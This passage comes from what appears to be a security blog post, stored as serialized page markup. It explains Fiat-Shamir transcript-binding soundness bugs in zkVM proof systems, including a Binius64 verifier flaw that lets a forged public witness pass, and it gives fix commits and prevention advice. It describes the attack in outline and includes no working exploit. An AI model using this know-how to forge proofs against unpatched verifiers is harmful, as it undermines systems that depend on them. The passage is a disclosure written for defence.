pass.",{"type":19,"tag":20,"props":119240,"children":119241},{},[119242,119246,119248,119255,119256,119259,119266],{"type":19,"tag":51,"props":119243,"children":119244},{},[119245],{"type":24,"value":114244},{"type":24,"value":119247}," Fixed on 21st January 2026 via ",{"type":19,"tag":269,"props":119249,"children":119252},{"href":119250,"rel":119251},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[273],[119253],{"type":24,"value":119254},"commit 4a8c2be",{"type":24,"value":3893},{"type":19,"tag":28440,"props":119257,"children":119258},{},[],{"type":19,"tag":269,"props":119260,"children":119263},{"href":119261,"rel":119262},"https://blog.polyhedra.network/expander-bug-bounty/",[273],[119264],{"type":24,"value":119265},"Claimed 500k Bug bounty",{"type":24,"value":119267}," award pending",{"type":19,"tag":16245,"props":119269,"children":119270},{},[],{"type":19,"tag":7050,"props":119272,"children":119274},{"id":119273},"binius64",[119275],{"type":24,"value":105377},{"type":19,"tag":20,"props":119277,"children":119278},{},[119279,119281,119408],{"type":24,"value":119280},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":19,"tag":27,"props":119282,"children":119284},{"className":119283},[1411,1412],[119285],{"type":19,"tag":168,"props":119286,"children":119288},{"className":119287},[1417],[119289],{"type":19,"tag":168,"props":119290,"children":119292},{"className":119291,"ariaHidden":1423},[1422],[119293],{"type":19,"tag":168,"props":119294,"children":119296},{"className":119295},[1428],[119297,119302],{"type":19,"tag":168,"props":119298,"children":119301},{"className":119299,"style":119300},[1433],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":19,"tag":168,"props":119303,"children":119305},{"className":119304},[1439],[119306,119313],{"type":19,"tag":168,"props":119307,"children":119310},{"className":119308},[1439,119309],"mathbb",[119311],{"type":24,"value":119312},"F",{"type":19,"tag":168,"props":119314,"children":119316},{"className":119315},[1456],[119317],{"type":19,"tag":168,"props":119318,"children":119320},{"className":119319},[1461,19097],[119321,119396],{"type":19,"tag":168,"props":119322,"children":119324},{"className":119323},[1466],[119325,119391],{"type":19,"tag":168,"props":119326,"children":119328},{"className":119327,"style":109866},[1471],[119329],{"type":19,"tag":168,"props":119330,"children":119332},{"style":119331},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[119333,119337],{"type":19,"tag":168,"props":119334,"children":119336},{"className":119335,"style":1481},[1480],[],{"type":19,"tag":168,"props":119338,"children":119340},{"className":119339},[1486,1487,1488,1489],[119341],{"type":19,"tag":168,"props":119342,"children":119344},{"className":119343},[1439,1489],[119345],{"type":19,"tag":168,"props":119346,"children":119348},{"className":119347},[1439,1489],[119349,119354],{"type":19,"tag":168,"props":119350,"children":119352},{"className":119351},[1439,1489],[119353],{"type":24,"value":519},{"type":19,"tag":168,"props":119355,"children":119357},{"className":119356},[1456],[119358],{"type":19,"tag":168,"props":119359,"children":119361},{"className":119360},[1461],[119362],{"type":19,"tag":168,"props":119363,"children":119365},{"className":119364},[1466],[119366],{"type":19,"tag":168,"props":119367,"children":119370},{"className":119368,"style":119369},[1471],"height:0.7463em;",[119371],{"type":19,"tag":168,"props":119372,"children":119373},{"style":109991},[119374,119378],{"type":19,"tag":168,"props":119375,"children":119377},{"className":119376,"style":106394},[1480],[],{"type":19,"tag":168,"props":119379,"children":119381},{"className":119380},[1486,106399,106400,1489],[119382],{"type":19,"tag":168,"props":119383,"children":119385},{"className":119384},[1439,1489],[119386],{"type":19,"tag":168,"props":119387,"children":119389},{"className":119388},[1439,1489],[119390],{"type":24,"value":27318},{"type":19,"tag":168,"props":119392,"children":119394},{"className":119393},[19200],[119395],{"type":24,"value":19203},{"type":19,"tag":168,"props":119397,"children":119399},{"className":119398},[1466],[119400],{"type":19,"tag":168,"props":119401,"children":119404},{"className":119402,"style":119403},[1471],"height:0.1776em;",[119405],{"type":19,"tag":168,"props":119406,"children":119407},{},[],{"type":24,"value":119409}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":19,"tag":20,"props":119411,"children":119412},{},[119413,119415,119420],{"type":24,"value":119414},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":19,"tag":51,"props":119416,"children":119417},{},[119418],{"type":24,"value":119419},"Shift Protocol",{"type":24,"value":119421}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":19,"tag":20,"props":119423,"children":119424},{},[119425],{"type":19,"tag":51,"props":119426,"children":119427},{},[119428],{"type":24,"value":118846},{"type":19,"tag":20,"props":119430,"children":119431},{},[119432],{"type":24,"value":119433},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":19,"tag":158,"props":119435,"children":119437},{"code":119436,"language":362,"meta":7,"className":363,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[119438],{"type":19,"tag":27,"props":119439,"children":119440},{"__ignoreMap":7},[119441,119476,119501,119535,119543],{"type":19,"tag":168,"props":119442,"children":119443},{"class":170,"line":171},[119444,119448,119452,119456,119460,119464,119468,119472],{"type":19,"tag":168,"props":119445,"children":119446},{"style":382},[119447],{"type":24,"value":11136},{"type":19,"tag":168,"props":119449,"children":119450},{"style":382},[119451],{"type":24,"value":11141},{"type":19,"tag":168,"props":119453,"children":119454},{"style":175},[119455],{"type":24,"value":5603},{"type":19,"tag":168,"props":119457,"children":119458},{"style":212},[119459],{"type":24,"value":3240},{"type":19,"tag":168,"props":119461,"children":119462},{"style":825},[119463],{"type":24,"value":119312},{"type":19,"tag":168,"props":119465,"children":119466},{"style":212},[119467],{"type":24,"value":471},{"type":19,"tag":168,"props":119469,"children":119470},{"style":825},[119471],{"type":24,"value":113763},{"type":19,"tag":168,"props":119473,"children":119474},{"style":212},[119475],{"type":24,"value":4024},{"type":19,"tag":168,"props":119477,"children":119478},{"class":170,"line":198},[119479,119484,119488,119492,119497],{"type":19,"tag":168,"props":119480,"children":119481},{"style":393},[119482],{"type":24,"value":119483}," constraint_system",{"type":19,"tag":168,"props":119485,"children":119486},{"style":399},[119487],{"type":24,"value":1922},{"type":19,"tag":168,"props":119489,"children":119490},{"style":399},[119491],{"type":24,"value":4577},{"type":19,"tag":168,"props":119493,"children":119494},{"style":825},[119495],{"type":24,"value":119496},"ConstraintSystem",{"type":19,"tag":168,"props":119498,"children":119499},{"style":212},[119500],{"type":24,"value":915},{"type":19,"tag":168,"props":119502,"children":119503},{"class":170,"line":415},[119504,119508,119512,119516,119520,119525,119530],{"type":19,"tag":168,"props":119505,"children":119506},{"style":393},[119507],{"type":24,"value":4958},{"type":19,"tag":168,"props":119509,"children":119510},{"style":399},[119511],{"type":24,"value":1922},{"type":19,"tag":168,"props":119513,"children":119514},{"style":399},[119515],{"type":24,"value":4577},{"type":19,"tag":168,"props":119517,"children":119518},{"style":212},[119519],{"type":24,"value":1152},{"type":19,"tag":168,"props":119521,"children":119522},{"style":825},[119523],{"type":24,"value":119524},"Word",{"type":19,"tag":168,"props":119526,"children":119527},{"style":212},[119528],{"type":24,"value":119529},"], ",{"type":19,"tag":168,"props":119531,"children":119532},{"style":373},[119533],{"type":24,"value":119534},"// \u003C- NEVER ABSORBED\n",{"type":19,"tag":168,"props":119536,"children":119537},{"class":170,"line":450},[119538],{"type":19,"tag":168,"props":119539,"children":119540},{"style":373},[119541],{"type":24,"value":119542}," // ...\n",{"type":19,"tag":168,"props":119544,"children":119545},{"class":170,"line":560},[119546,119550,119554,119558,119562,119567,119571,119575,119579,119583],{"type":19,"tag":168,"props":119547,"children":119548},{"style":212},[119549],{"type":24,"value":481},{"type":19,"tag":168,"props":119551,"children":119552},{"style":399},[119553],{"type":24,"value":11203},{"type":19,"tag":168,"props":119555,"children":119556},{"style":825},[119557],{"type":24,"value":11208},{"type":19,"tag":168,"props":119559,"children":119560},{"style":212},[119561],{"type":24,"value":3240},{"type":19,"tag":168,"props":119563,"children":119564},{"style":825},[119565],{"type":24,"value":119566},"VerifyOutput",{"type":19,"tag":168,"props":119568,"children":119569},{"style":212},[119570],{"type":24,"value":3240},{"type":19,"tag":168,"props":119572,"children":119573},{"style":825},[119574],{"type":24,"value":119312},{"type":19,"tag":168,"props":119576,"children":119577},{"style":212},[119578],{"type":24,"value":4066},{"type":19,"tag":168,"props":119580,"children":119581},{"style":825},[119582],{"type":24,"value":34873},{"type":19,"tag":168,"props":119584,"children":119585},{"style":212},[119586],{"type":24,"value":3427},{"type":19,"tag":20,"props":119588,"children":119589},{},[119590,119592,119598,119599,119605,119607,119611],{"type":24,"value":119591},"In the shift protocol, challenges ",{"type":19,"tag":27,"props":119593,"children":119595},{"className":119594},[],[119596],{"type":24,"value":119597},"r_j",{"type":24,"value":8436},{"type":19,"tag":27,"props":119600,"children":119602},{"className":119601},[],[119603],{"type":24,"value":119604},"inout_eval_point",{"type":24,"value":119606}," are sampled ",{"type":19,"tag":51,"props":119608,"children":119609},{},[119610],{"type":24,"value":102078},{"type":24,"value":119612}," the public witness is bound.",{"type":19,"tag":20,"props":119614,"children":119615},{},[119616],{"type":19,"tag":51,"props":119617,"children":119618},{},[119619],{"type":24,"value":112966},{"type":19,"tag":20,"props":119621,"children":119622},{},[119623],{"type":19,"tag":1344,"props":119624,"children":119627},{"alt":119625,"src":119626},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":19,"tag":20,"props":119629,"children":119630},{},[119631],{"type":24,"value":119632},"During verification",{"type":19,"tag":2869,"props":119634,"children":119635},{},[119636,119656,119668,119687],{"type":19,"tag":47,"props":119637,"children":119638},{},[119639,119641,119646,119648,119654],{"type":24,"value":119640},"Sumcheck produces challenge points ",{"type":19,"tag":27,"props":119642,"children":119644},{"className":119643},[],[119645],{"type":24,"value":119597},{"type":24,"value":119647}," (bit indices) and ",{"type":19,"tag":27,"props":119649,"children":119651},{"className":119650},[],[119652],{"type":24,"value":119653},"r_s",{"type":24,"value":119655}," (shift indices)",{"type":19,"tag":47,"props":119657,"children":119658},{},[119659,119661,119666],{"type":24,"value":119660},"Verifier samples ",{"type":19,"tag":27,"props":119662,"children":119664},{"className":119663},[],[119665],{"type":24,"value":119604},{"type":24,"value":119667}," from transcript",{"type":19,"tag":47,"props":119669,"children":119670},{},[119671,119673,119679,119681,119686],{"type":24,"value":119672},"Verifier computes ",{"type":19,"tag":27,"props":119674,"children":119676},{"className":119675},[],[119677],{"type":24,"value":119678},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":24,"value":119680}," using the unbound ",{"type":19,"tag":27,"props":119682,"children":119684},{"className":119683},[],[119685],{"type":24,"value":59160},{"type":24,"value":15584},{"type":19,"tag":47,"props":119688,"children":119689},{},[119690,119691,119697],{"type":24,"value":14062},{"type":19,"tag":27,"props":119692,"children":119694},{"className":119693},[],[119695],{"type":24,"value":119696},"public_eval",{"type":24,"value":119698}," feeds into subsequent verification equations",{"type":19,"tag":20,"props":119700,"children":119701},{},[119702],{"type":24,"value":119703},"The MLE evaluation is linear in the public witness bits:",{"type":19,"tag":20,"props":119705,"children":119706},{},[119707],{"type":19,"tag":27,"props":119708,"children":119710},{"className":119709},[1411,1412],[119711],{"type":19,"tag":168,"props":119712,"children":119714},{"className":119713},[1417],[119715],{"type":19,"tag":168,"props":119716,"children":119718},{"className":119717,"ariaHidden":1423},[1422],[119719,119763,119903,120015],{"type":19,"tag":168,"props":119720,"children":119722},{"className":119721},[1428],[119723,119727,119736,119741,119750,119754,119759],{"type":19,"tag":168,"props":119724,"children":119726},{"className":119725,"style":91948},[1433],[],{"type":19,"tag":168,"props":119728,"children":119730},{"className":119729},[1439,24],[119731],{"type":19,"tag":168,"props":119732,"children":119734},{"className":119733},[1439],[119735],{"type":24,"value":59160},{"type":19,"tag":168,"props":119737,"children":119739},{"className":119738,"style":90535},[1439],[119740],{"type":24,"value":476},{"type":19,"tag":168,"props":119742,"children":119744},{"className":119743},[1439,24],[119745],{"type":19,"tag":168,"props":119746,"children":119748},{"className":119747},[1439],[119749],{"type":24,"value":35023},{"type":19,"tag":168,"props":119751,"children":119753},{"className":119752,"style":1618},[1520],[],{"type":19,"tag":168,"props":119755,"children":119757},{"className":119756},[1623],[119758],{"type":24,"value":486},{"type":19,"tag":168,"props":119760,"children":119762},{"className":119761,"style":1618},[1520],[],{"type":19,"tag":168,"props":119764,"children":119766},{"className":119765},[1428],[119767,119771,119843,119847,119860,119865,119870,119875,119880,119885,119890,119894,119899],{"type":19,"tag":168,"props":119768,"children":119770},{"className":119769,"style":116296},[1433],[],{"type":19,"tag":168,"props":119772,"children":119774},{"className":119773},[19079],[119775,119780],{"type":19,"tag":168,"props":119776,"children":119778},{"className":119777,"style":19086},[19079,19084,19085],[119779],{"type":24,"value":106329},{"type":19,"tag":168,"props":119781,"children":119783},{"className":119782},[1456],[119784],{"type":19,"tag":168,"props":119785,"children":119787},{"className":119786},[1461,19097],[119788,119832],{"type":19,"tag":168,"props":119789,"children":119791},{"className":119790},[1466],[119792,119827],{"type":19,"tag":168,"props":119793,"children":119795},{"className":119794,"style":111206},[1471],[119796],{"type":19,"tag":168,"props":119797,"children":119798},{"style":19110},[119799,119803],{"type":19,"tag":168,"props":119800,"children":119802},{"className":119801,"style":1481},[1480],[],{"type":19,"tag":168,"props":119804,"children":119806},{"className":119805},[1486,1487,1488,1489],[119807],{"type":19,"tag":168,"props":119808,"children":119810},{"className":119809},[1439,1489],[119811,119817,119822],{"type":19,"tag":168,"props":119812,"children":119815},{"className":119813,"style":119814},[1439,19043,1489],"margin-right:0.02691em;",[119816],{"type":24,"value":47054},{"type":19,"tag":168,"props":119818,"children":119820},{"className":119819},[1552,1489],[119821],{"type":24,"value":1555},{"type":19,"tag":168,"props":119823,"children":119825},{"className":119824},[1439,19043,1489],[119826],{"type":24,"value":621},{"type":19,"tag":168,"props":119828,"children":119830},{"className":119829},[19200],[119831],{"type":24,"value":19203},{"type":19,"tag":168,"props":119833,"children":119835},{"className":119834},[1466],[119836],{"type":19,"tag":168,"props":119837,"children":119839},{"className":119838,"style":111772},[1471],[119840],{"type":19,"tag":168,"props":119841,"children":119842},{},[],{"type":19,"tag":168,"props":119844,"children":119846},{"className":119845,"style":1559},[1520],[],{"type":19,"tag":168,"props":119848,"children":119850},{"className":119849},[1439],[119851],{"type":19,"tag":168,"props":119852,"children":119854},{"className":119853},[1439,24],[119855],{"type":19,"tag":168,"props":119856,"children":119858},{"className":119857},[1439],[119859],{"type":24,"value":59160},{"type":19,"tag":168,"props":119861,"children":119863},{"className":119862},[19172],[119864],{"type":24,"value":1152},{"type":19,"tag":168,"props":119866,"children":119868},{"className":119867,"style":119814},[1439,19043],[119869],{"type":24,"value":47054},{"type":19,"tag":168,"props":119871,"children":119873},{"className":119872},[19194],[119874],{"type":24,"value":12858},{"type":19,"tag":168,"props":119876,"children":119878},{"className":119877},[19172],[119879],{"type":24,"value":1152},{"type":19,"tag":168,"props":119881,"children":119883},{"className":119882},[1439,19043],[119884],{"type":24,"value":621},{"type":19,"tag":168,"props":119886,"children":119888},{"className":119887},[19194],[119889],{"type":24,"value":12858},{"type":19,"tag":168,"props":119891,"children":119893},{"className":119892,"style":1521},[1520],[],{"type":19,"tag":168,"props":119895,"children":119897},{"className":119896},[1526],[119898],{"type":24,"value":108796},{"type":19,"tag":168,"props":119900,"children":119902},{"className":119901,"style":1521},[1520],[],{"type":19,"tag":168,"props":119904,"children":119906},{"className":119905},[1428],[119907,119912,119921,119926,119931,119936,119940,119997,120002,120006,120011],{"type":19,"tag":168,"props":119908,"children":119911},{"className":119909,"style":119910},[1433],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":19,"tag":168,"props":119913,"children":119915},{"className":119914},[1439,24],[119916],{"type":19,"tag":168,"props":119917,"children":119919},{"className":119918},[1439],[119920],{"type":24,"value":110123},{"type":19,"tag":168,"props":119922,"children":119924},{"className":119923},[19172],[119925],{"type":24,"value":500},{"type":19,"tag":168,"props":119927,"children":119929},{"className":119928},[1439,19043],[119930],{"type":24,"value":621},{"type":19,"tag":168,"props":119932,"children":119934},{"className":119933},[1552],[119935],{"type":24,"value":1555},{"type":19,"tag":168,"props":119937,"children":119939},{"className":119938,"style":1559},[1520],[],{"type":19,"tag":168,"props":119941,"children":119943},{"className":119942},[1439],[119944,119949],{"type":19,"tag":168,"props":119945,"children":119947},{"className":119946,"style":90535},[1439,19043],[119948],{"type":24,"value":91354},{"type":19,"tag":168,"props":119950,"children":119952},{"className":119951},[1456],[119953],{"type":19,"tag":168,"props":119954,"children":119956},{"className":119955},[1461,19097],[119957,119986],{"type":19,"tag":168,"props":119958,"children":119960},{"className":119959},[1466],[119961,119981],{"type":19,"tag":168,"props":119962,"children":119964},{"className":119963,"style":91064},[1471],[119965],{"type":19,"tag":168,"props":119966,"children":119967},{"style":107533},[119968,119972],{"type":19,"tag":168,"props":119969,"children":119971},{"className":119970,"style":1481},[1480],[],{"type":19,"tag":168,"props":119973,"children":119975},{"className":119974},[1486,1487,1488,1489],[119976],{"type":19,"tag":168,"props":119977,"children":119979},{"className":119978,"style":111757},[1439,19043,1489],[119980],{"type":24,"value":6094},{"type":19,"tag":168,"props":119982,"children":119984},{"className":119983},[19200],[119985],{"type":24,"value":19203},{"type":19,"tag":168,"props":119987,"children":119989},{"className":119988},[1466],[119990],{"type":19,"tag":168,"props":119991,"children":119993},{"className":119992,"style":116444},[1471],[119994],{"type":19,"tag":168,"props":119995,"children":119996},{},[],{"type":19,"tag":168,"props":119998,"children":120000},{"className":119999},[19194],[120001],{"type":24,"value":524},{"type":19,"tag":168,"props":120003,"children":120005},{"className":120004,"style":1521},[1520],[],{"type":19,"tag":168,"props":120007,"children":120009},{"className":120008},[1526],[120010],{"type":24,"value":108796},{"type":19,"tag":168,"props":120012,"children":120014},{"className":120013,"style":1521},[1520],[],{"type":19,"tag":168,"props":120016,"children":120018},{"className":120017},[1428],[120019,120023,120032,120037,120042,120047,120051,120061,120066,120075,120080,120089],{"type":19,"tag":168,"props":120020,"children":120022},{"className":120021,"style":90477},[1433],[],{"type":19,"tag":168,"props":120024,"children":120026},{"className":120025},[1439,24],[120027],{"type":19,"tag":168,"props":120028,"children":120030},{"className":120029},[1439],[120031],{"type":24,"value":110123},{"type":19,"tag":168,"props":120033,"children":120035},{"className":120034},[19172],[120036],{"type":24,"value":500},{"type":19,"tag":168,"props":120038,"children":120040},{"className":120039,"style":119814},[1439,19043],[120041],{"type":24,"value":47054},{"type":19,"tag":168,"props":120043,"children":120045},{"className":120044},[1552],[120046],{"type":24,"value":1555},{"type":19,"tag":168,"props":120048,"children":120050},{"className":120049,"style":1559},[1520],[],{"type":19,"tag":168,"props":120052,"children":120054},{"className":120053},[1439,24],[120055],{"type":19,"tag":168,"props":120056,"children":120058},{"className":120057},[1439],[120059],{"type":24,"value":120060},"inout",{"type":19,"tag":168,"props":120062,"children":120064},{"className":120063,"style":90535},[1439],[120065],{"type":24,"value":476},{"type":19,"tag":168,"props":120067,"children":120069},{"className":120068},[1439,24],[120070],{"type":19,"tag":168,"props":120071,"children":120073},{"className":120072},[1439],[120074],{"type":24,"value":35023},{"type":19,"tag":168,"props":120076,"children":120078},{"className":120077,"style":90535},[1439],[120079],{"type":24,"value":476},{"type":19,"tag":168,"props":120081,"children":120083},{"className":120082},[1439,24],[120084],{"type":19,"tag":168,"props":120085,"children":120087},{"className":120086},[1439],[120088],{"type":24,"value":115319},{"type":19,"tag":168,"props":120090,"children":120092},{"className":120091},[19194],[120093],{"type":24,"value":524},{"type":19,"tag":20,"props":120095,"children":120096},{},[120097,120099,120104,120106,120179],{"type":24,"value":120098},"With challenges fixed (independent of ",{"type":19,"tag":27,"props":120100,"children":120102},{"className":120101},[],[120103],{"type":24,"value":59160},{"type":24,"value":120105},"), an attacker can find an alternate witness ",{"type":19,"tag":27,"props":120107,"children":120109},{"className":120108},[1411,1412],[120110],{"type":19,"tag":168,"props":120111,"children":120113},{"className":120112},[1417],[120114],{"type":19,"tag":168,"props":120115,"children":120117},{"className":120116,"ariaHidden":1423},[1422],[120118],{"type":19,"tag":168,"props":120119,"children":120121},{"className":120120},[1428],[120122,120127],{"type":19,"tag":168,"props":120123,"children":120126},{"className":120124,"style":120125},[1433],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":120128,"children":120130},{"className":120129},[1439],[120131,120140],{"type":19,"tag":168,"props":120132,"children":120134},{"className":120133},[1439,24],[120135],{"type":19,"tag":168,"props":120136,"children":120138},{"className":120137},[1439],[120139],{"type":24,"value":59160},{"type":19,"tag":168,"props":120141,"children":120143},{"className":120142},[1456],[120144],{"type":19,"tag":168,"props":120145,"children":120147},{"className":120146},[1461],[120148],{"type":19,"tag":168,"props":120149,"children":120151},{"className":120150},[1466],[120152],{"type":19,"tag":168,"props":120153,"children":120156},{"className":120154,"style":120155},[1471],"height:0.8362em;",[120157],{"type":19,"tag":168,"props":120158,"children":120160},{"style":120159},"top:-3.1473em;margin-right:0.05em;",[120161,120165],{"type":19,"tag":168,"props":120162,"children":120164},{"className":120163,"style":1481},[1480],[],{"type":19,"tag":168,"props":120166,"children":120168},{"className":120167},[1486,1487,1488,1489],[120169],{"type":19,"tag":168,"props":120170,"children":120172},{"className":120171},[1439,1489],[120173],{"type":19,"tag":168,"props":120174,"children":120176},{"className":120175},[1439,1489],[120177],{"type":24,"value":120178},"′",{"type":24,"value":120180}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":19,"tag":20,"props":120182,"children":120183},{},[120184,120188,120190],{"type":19,"tag":51,"props":120185,"children":120186},{},[120187],{"type":24,"value":114244},{"type":24,"value":120189}," Fixed on December 29, 2025 via ",{"type":19,"tag":269,"props":120191,"children":120194},{"href":120192,"rel":120193},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[273],[120195],{"type":24,"value":120196},"commit 86a515f",{"type":19,"tag":16245,"props":120198,"children":120199},{},[],{"type":19,"tag":36,"props":120201,"children":120203},{"id":120202},"why-does-this-keep-happening",[120204],{"type":24,"value":120205},"Why Does This Keep Happening?",{"type":19,"tag":20,"props":120207,"children":120208},{},[120209],{"type":24,"value":120210},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":19,"tag":7050,"props":120212,"children":120214},{"id":120213},"academic-papers-dont-specify-fiat-shamir",[120215],{"type":24,"value":120216},"Academic Papers Don't Specify Fiat-Shamir",{"type":19,"tag":20,"props":120218,"children":120219},{},[120220,120222,120227,120229,120254,120256,120259,120261,120286,120288,120315],{"type":24,"value":120221},"Academic papers usually describe ",{"type":19,"tag":293,"props":120223,"children":120224},{},[120225],{"type":24,"value":120226},"interactive",{"type":24,"value":120228}," protocols: \"Prover sends ",{"type":19,"tag":27,"props":120230,"children":120232},{"className":120231},[1411,1412],[120233],{"type":19,"tag":168,"props":120234,"children":120236},{"className":120235},[1417],[120237],{"type":19,"tag":168,"props":120238,"children":120240},{"className":120239,"ariaHidden":1423},[1422],[120241],{"type":19,"tag":168,"props":120242,"children":120244},{"className":120243},[1428],[120245,120249],{"type":19,"tag":168,"props":120246,"children":120248},{"className":120247,"style":19038},[1433],[],{"type":19,"tag":168,"props":120250,"children":120252},{"className":120251,"style":19575},[1439,19043],[120253],{"type":24,"value":113763},{"type":24,"value":120255},". Verifier sends",{"type":19,"tag":28440,"props":120257,"children":120258},{},[],{"type":24,"value":120260},"random ",{"type":19,"tag":27,"props":120262,"children":120264},{"className":120263},[1411,1412],[120265],{"type":19,"tag":168,"props":120266,"children":120268},{"className":120267},[1417],[120269],{"type":19,"tag":168,"props":120270,"children":120272},{"className":120271,"ariaHidden":1423},[1422],[120273],{"type":19,"tag":168,"props":120274,"children":120276},{"className":120275},[1428],[120277,120281],{"type":19,"tag":168,"props":120278,"children":120280},{"className":120279,"style":108375},[1433],[],{"type":19,"tag":168,"props":120282,"children":120284},{"className":120283,"style":90535},[1439,19043],[120285],{"type":24,"value":91354},{"type":24,"value":120287},". Prover sends ",{"type":19,"tag":27,"props":120289,"children":120291},{"className":120290},[1411,1412],[120292],{"type":19,"tag":168,"props":120293,"children":120295},{"className":120294},[1417],[120296],{"type":19,"tag":168,"props":120297,"children":120299},{"className":120298,"ariaHidden":1423},[1422],[120300],{"type":19,"tag":168,"props":120301,"children":120303},{"className":120302},[1428],[120304,120308],{"type":19,"tag":168,"props":120305,"children":120307},{"className":120306,"style":19038},[1433],[],{"type":19,"tag":168,"props":120309,"children":120312},{"className":120310,"style":120311},[1439,19043],"margin-right:0.00773em;",[120313],{"type":24,"value":120314},"R",{"type":24,"value":120316},".\"",{"type":19,"tag":20,"props":120318,"children":120319},{},[120320,120322,120347,120349,120374],{"type":24,"value":120321},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":19,"tag":27,"props":120323,"children":120325},{"className":120324},[1411,1412],[120326],{"type":19,"tag":168,"props":120327,"children":120329},{"className":120328},[1417],[120330],{"type":19,"tag":168,"props":120331,"children":120333},{"className":120332,"ariaHidden":1423},[1422],[120334],{"type":19,"tag":168,"props":120335,"children":120337},{"className":120336},[1428],[120338,120342],{"type":19,"tag":168,"props":120339,"children":120341},{"className":120340,"style":19038},[1433],[],{"type":19,"tag":168,"props":120343,"children":120345},{"className":120344,"style":19575},[1439,19043],[120346],{"type":24,"value":113763},{"type":24,"value":120348}," before sampling ",{"type":19,"tag":27,"props":120350,"children":120352},{"className":120351},[1411,1412],[120353],{"type":19,"tag":168,"props":120354,"children":120356},{"className":120355},[1417],[120357],{"type":19,"tag":168,"props":120358,"children":120360},{"className":120359,"ariaHidden":1423},[1422],[120361],{"type":19,"tag":168,"props":120362,"children":120364},{"className":120363},[1428],[120365,120369],{"type":19,"tag":168,"props":120366,"children":120368},{"className":120367,"style":108375},[1433],[],{"type":19,"tag":168,"props":120370,"children":120372},{"className":120371,"style":90535},[1439,19043],[120373],{"type":24,"value":91354},{"type":24,"value":120375},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":19,"tag":20,"props":120377,"children":120378},{},[120379],{"type":24,"value":120380},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":19,"tag":7050,"props":120382,"children":120384},{"id":120383},"the-hot-potato-problem",[120385],{"type":24,"value":120386},"The Hot Potato Problem",{"type":19,"tag":20,"props":120388,"children":120389},{},[120390],{"type":24,"value":120391},"Modern zkVMs are modular:",{"type":19,"tag":20,"props":120393,"children":120394},{},[120395],{"type":19,"tag":1344,"props":120396,"children":120399},{"alt":120397,"src":120398},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":19,"tag":20,"props":120401,"children":120402},{},[120403],{"type":24,"value":120404},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":19,"tag":7050,"props":120406,"children":120408},{"id":120407},"optimization-pressure",[120409],{"type":24,"value":120410},"Optimization Pressure",{"type":19,"tag":20,"props":120412,"children":120413},{},[120414],{"type":24,"value":120415},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":19,"tag":20,"props":120417,"children":120418},{},[120419],{"type":24,"value":120420},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":19,"tag":7050,"props":120422,"children":120424},{"id":120423},"testing-doesnt-catch-adversarial-inputs",[120425],{"type":24,"value":120426},"Testing Doesn't Catch Adversarial Inputs",{"type":19,"tag":20,"props":120428,"children":120429},{},[120430],{"type":24,"value":120431},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":19,"tag":16245,"props":120433,"children":120434},{},[],{"type":19,"tag":36,"props":120436,"children":120438},{"id":120437},"how-to-find-and-fix-these-bugs",[120439],{"type":24,"value":120440},"How to Find and Fix These Bugs",{"type":19,"tag":7050,"props":120442,"children":120444},{"id":120443},"prevention",[120445],{"type":24,"value":120446},"Prevention",{"type":19,"tag":20,"props":120448,"children":120449},{},[120450],{"type":24,"value":120451},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":19,"tag":20,"props":120453,"children":120454},{},[120455],{"type":24,"value":120456},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":19,"tag":20,"props":120458,"children":120459},{},[120460],{"type":24,"value":120461},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":19,"tag":20,"props":120463,"children":120464},{},[120465],{"type":24,"value":120466},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":19,"tag":20,"props":120468,"children":120469},{},[120470],{"type":24,"value":120471},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":19,"tag":16245,"props":120473,"children":120474},{},[],{"type":19,"tag":36,"props":120476,"children":120478},{"id":120477},"responsible-disclosure-timeline",[120479],{"type":24,"value":120480},"Responsible Disclosure 